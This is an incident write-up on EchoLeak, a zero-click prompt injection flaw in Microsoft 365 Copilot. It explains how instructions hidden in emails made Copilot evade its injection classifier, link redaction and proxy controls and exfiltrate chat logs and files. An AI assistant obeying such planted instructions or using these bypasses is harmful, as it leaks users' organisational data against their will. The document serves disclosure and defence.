EchoLeak: Zero-Click Prompt Injection in Microsoft 365 Copilot (CVE-2025-32711) (2025)

Incident Summary

In June 2025, researchers at Aim Security disclosed CVE-2025-32711, dubbed “EchoLeak,” a critical zero-click prompt injection vulnerability in Microsoft 365 Copilot with a CVSS score of 9.3.^[1] The attack enabled remote, unauthenticated data exfiltration by embedding malicious instructions in emails that Copilot would process when users requested summaries.^[1][2] The exploit chained multiple bypass techniques — evading Microsoft’s Cross Prompt Injection Attempt (XPIA) classifier, circumventing link redaction via reference-style Markdown, exploiting auto-fetched images, and abusing a Microsoft Teams proxy — to achieve full data exfiltration from organizational resources including chat logs, OneDrive files, SharePoint content, and Teams messages.^[3] Microsoft patched the vulnerability server-side.^[4]

Key Facts

• CVE-2025-32711 was assigned a CVSS score of 9.3 (critical)^[1]
• The attack was zero-click — no user interaction beyond a normal Copilot query was required^[2]
• Malicious instructions were embedded in emails that Copilot processed during summarization tasks^[1]
• The exploit bypassed Microsoft’s XPIA classifier designed to detect prompt injection attempts^[3]
• Data exfiltration scope included anything within Copilot’s access: chat logs, OneDrive files, SharePoint content, Teams messages^[1][2]
• The exploit executed in natural language space, making traditional defenses (antivirus, firewalls, static scanning) ineffective^[3]
• Microsoft patched the vulnerability server-side without requiring user action^[4]
• No evidence of malicious exploitation in the wild was reported^[2]

Threat Patterns Involved

Primary: Adversarial Evasion — This incident demonstrates adversarial evasion as the primary threat pattern, where indirect prompt injection embedded in external content (emails) manipulated an AI system’s behavior to bypass multiple security controls. The zero-click nature of the attack meant that the adversarial input required no cooperation from the victim to be processed by the target system.

Secondary: Model Inversion & Data Extraction — The ability to exfiltrate organizational data intersects with model inversion and data extraction, as the attack leveraged the AI assistant’s broad access permissions to extract information beyond the attacker’s authorization scope.

Significance

EchoLeak represents the first documented zero-click prompt injection exploit against a production enterprise AI system.^[3] Its critical CVSS score and the breadth of accessible data demonstrate that AI assistants integrated into enterprise productivity suites create novel attack surfaces that cannot be addressed by traditional security controls.^[1][2] The exploit’s operation entirely within natural language space highlights a fundamental challenge in securing AI systems: the inability to reliably distinguish legitimate instructions from adversarial inputs when both are expressed in the same medium.^[3]